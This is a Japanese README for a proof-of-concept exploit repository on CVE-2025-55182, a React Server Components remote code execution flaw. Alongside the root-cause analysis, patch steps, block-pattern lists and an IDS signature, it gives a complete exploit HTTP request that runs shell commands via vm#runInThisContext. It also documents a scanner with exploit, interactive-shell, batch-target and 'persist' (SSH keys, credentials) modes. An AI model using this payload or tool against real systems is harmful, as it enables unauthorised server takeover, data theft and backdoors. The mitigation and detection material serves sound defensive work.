
統合セキュリティ研究ツール
セキュリティ研究 by schema.cx
"制御は幻想だ。我々を制御するのは、我々が構築したシステムだ—まずそれを理解しない限り。"
このツールは認可されたセキュリティテスト専用です
停止。続行する前にこれを読んでください。
このリポジトリには、重大なセキュリティ脆弱性の概念実証コードが含まれています。このリポジトリの資料にアクセス、ダウンロード、または使用することにより、以下の内容を確認し同意したものとみなされます。
書面による承認が必要: セキュリティテストを実施する前に、システム所有者からの明示的な書面による許可が必要です。口頭での同意は不十分です。
範囲の制限: テストは、承認書に明示的に記載されたシステムに限定する必要があります。「スコープクリープ」は許可されません。
適用される法律: コンピュータシステムへの不正アクセスは以下に違反します:
このリポジトリの著者および貢献者は:
"問題は、脆弱性を悪用できるかどうかではない。悪用すべきかどうか、そしてその目的は何かだ。"
CVE-2025-55182 は、React 19.x および Next.js 15.x-16.x アプリケーションの React Server Components に影響を与える 認証前の重大なリモートコード実行 (RCE) 脆弱性です。
この脆弱性により、ネットワークアクセスを持つ 認証されていない攻撃者 が脆弱なアプリケーションのサーバー上で任意のコマンドを実行できます。攻撃には認証情報もユーザーの操作も不要で、完全に自動化できます。悪用に成功すると、以下につながります:
"人々はシステムを理解していないから信頼する。その信頼こそが脆弱性だ。"
この脆弱性は、ReactのFlightプロトコル実装内の requireModule 関数に存在します。この関数は、ユーザーが制御する入力に基づいてモジュールのエクスポートにアクセスするために ブラケット記法 を使用しており、要求されたプロパティがモジュールの 自身のプロパティ (own property) であることを検証しません。
脆弱なコードの場所:
react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
関数: requireModule (v19.0.0 の約2546-2558行)
脆弱なパターン:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... async handling ...
return moduleExports[metadata[2]]; // ← 脆弱: hasOwnProperty チェックなし
}
攻撃はJavaScriptの プロトタイプチェーントラバーサル を利用します:
$ACTION_0:0 フィールドには、攻撃者が制御する id (module#export形式) と bound (引数) プロパティを含むJSONが含まれるconstructor のようなエクスポートを指定したり、プロトタイププロパティにアクセスすることで、攻撃者は組み込みのNode.jsモジュールを参照できるvm.runInThisContext, child_process.execSync, fs.readFileSync などの関数が攻撃者から提供された引数で実行されるHTTP POST /formaction
↓
decodeAction(formData, serverManifest)
↓
loadServerReference(manifest, value.id, value.bound)
↓
resolveServerReference(config, id) // "module#export"形式を解析
↓
requireModule(metadata)
↓
moduleExports[metadata[2]] // プロトタイプチェーンアクセス → RCE
POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--
"あらゆるシステムにはドアがある。問題は、あなた自身が鍵を作ったのか、それとも訪問者を想定していなかった誰かから受け継いだのかだ。"
| 製品 | 脆弱なバージョン | 修正済みバージョン |
|---|---|---|
| React | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1+, 19.1.2+, 19.2.1+ |
| Next.js | 15.x, 16.x (脆弱なReactを使用) | パッチ適用済みReactを使用するバージョン |
vm, child_process, fs などのモジュールがwebpackバンドル内にある必要があるこのリポジトリには、複数の操作モードを備えた包括的なPythonベースのセキュリティスキャナーが含まれています。
CVE-2025-55182-poc/
├── README.md # このファイル
├── scanner/
│ ├── __init__.py # Pythonパッケージ初期化
│ ├── scanner.py # メイン統合スキャナー (6モード)
│ ├── readme.md # スキャナーの詳細ドキュメント
│ ├── requirements.txt # Python依存関係
│ └── docs/
│ ├── TECHNICAL-ANALYSIS.md # 脆弱性の詳細分析
│ └── VULNERABLE-PACKAGES.md # 影響を受けるパッケージバージョン
インストール:
cd scanner
pip install -r requirements.txt
脆弱性スキャン:
# ターゲットが脆弱かどうかを確認
python scanner.py scan https://target.com
ガジェット検出:
# 利用可能なRCEガジェットを特定
python scanner.py exploit https://target.com --detect-gadgets
コマンド実行 (許可あり):
# 脆弱なターゲットでコマンドを実行
python scanner.py exploit https://target.com -c "whoami"
バッチテスト:
# ファイルから複数のターゲットをテスト
python scanner.py batch -f targets.txt -o results.json
自動スキャンと検証:
# 検証付きの包括的なスキャン
python scanner.py auto -f targets.txt -o report.txt
脆弱なターゲット:
[+] VULNERABLE to CVE-2025-55182!
Framework: Next.js
Version: 15.1.0
Confidence: HIGH
Available Gadgets:
✓ vm#runInThisContext
✓ child_process#execSync
✓ fs#readFileSync
✓ fs#writeFileSync
修正済みターゲット:
[-] Not vulnerable or unable to determine
Framework detected: Next.js
Version: 15.2.0 (patched)
詳細なドキュメントについては、scanner/readme.md を参照してください。
"ツールは、その背後にある意図次第で危険になる。正しい手にあれば、武器は盾になる。"
/etc/passwd, SSHキー、クラウド認証情報.env ファイルを読み取り、顧客データを窃取すぐにReactをアップグレード
npm update react react-dom react-server-dom-webpack
ターゲットバージョン: 19.0.1+, 19.1.2+, または 19.2.1+
パッチ適用の確認
npm ls react
依存関係ツリーに脆弱なバージョンが残っていないことを確認
以下のパターンを含むリクエストをブロック:
# ブロックするリクエスト本文パターン
#constructor
#__proto__
#prototype
vm#runInThisContext
vm#runInNewContext
child_process#execSync
child_process#execFileSync
child_process#spawnSync
module#_load
fs#readFileSync
fs#writeFileSync
危険なパッケージをwebpackバンドルから除外:
// next.config.js
module.exports = {
serverExternalPackages: [
'sharp',
'puppeteer',
'execa',
'shelljs',
'vm2'
]
}
監視するログパターン:
$ACTION_REF_ または $ACTION_ID_ フィールド/api/* エンドポイントへのPOSTリクエストconstructor, prototype、または予期しないモジュールアクセスを参照するエラーメッセージ侵入検知シグネチャ:
alert http any any -> $HOME_NET any (
msg:"CVE-2025-55182 Exploit Attempt";
content:"$ACTION_";
content:"#constructor"; distance:0;
sid:2025551820; rev:1;
)
npm audit, Snyk、または同様のツールを使用した定期的なスキャン"パッチ適用は、壊れたものを直すだけではない。開いていることに気づかなかったドアを閉じることだ。"
この開示は、調整された脆弱性開示のための CERT/CC 脆弱性開示ガイドライン および ISO/IEC 29147:2018 基準に従っています。
この概念実証は、schema.cx のセキュリティ研究チームによって開発されました。
リポジトリ: https://github.com/ejpir/CVE-2025-55182-poc
感謝の意を表します:
このプロジェクトは、教育および認可されたセキュリティ研究目的のみ のために公開されています。
本ソフトウェアを使用することにより、以下に同意するものとします:
"私たちは破壊するためにハッキングするのではない。理解するためにハッキングする。そして理解は、より良いものを構築するための第一歩だ。"
schema.cx — より安全なデジタル世界のためのセキュリティ研究
| 指標 | 評価 |
|---|
| CVSS v3.1 基本スコア | 10.0 CRITICAL |
| 攻撃元区分 | ネットワーク |
| 攻撃複雑性 | 低 |
| 必要な権限 | 不要 |
| ユーザー関与 | 不要 |
| 影響 (機密性/完全性/可用性) | 高 / 高 / 高 |
| ガジェット | モジュール | 説明 | 影響 |
|---|
vm#runInThisContext | vm | 現在のコンテキストでJSを実行 | 直接RCE |
vm#runInNewContext | vm | サンドボックス内でJSを実行 (脱出可能) | 直接RCE |
child_process#execSync | child_process | シェルコマンドを実行 | 直接RCE |
child_process#spawnSync | child_process | プロセスを起動 | 直接RCE |
fs#readFileSync | fs | 任意のファイルを読み取り | データ窃取 |
fs#writeFileSync | fs | 任意のファイルを書き込み | 永続化/バックドア |
module#_load | module | JSモジュールを読み込む (2段階RCE) | 間接RCE |
| モジュール | バンドルに含まれる可能性 | 一般的なソース |
|---|
fs | 非常に高い | fs-extra, gray-matter, multer, sharp, chokidar |
child_process | 中程度から高い | execa, shelljs, puppeteer, sharp, pdf generators |
vm | 低いから中程度 | ejs, pug, template engines |
module | 非常に低い | tsx, ts-node (通常CLIのみ) |
| モード | 目的 |
|---|
scan | 脆弱性検出とフィンガープリンティング |
exploit | 特定のガジェットを使用した制御された悪用 |
shell | 脆弱なターゲットでの対話型コマンドシェル |
batch | 統計情報を使用した複数URLのテスト |
auto | 検証付き自動マルチターゲットスキャン |
persist | 永続化攻撃のデモ (SSHキー、認証情報) |
| 日付 | イベント |
|---|
| 発見 | 情報保留中 |
| ベンダー通知 | 情報保留中 |
| ベンダー確認 | 情報保留中 |
| パッチ開発 | 情報保留中 |
| パッチリリース | React 19.0.1, 19.1.2, 19.2.1 |
| 公開開示 | 情報保留中 |
| CVE割り当て | CVE-2025-55182 |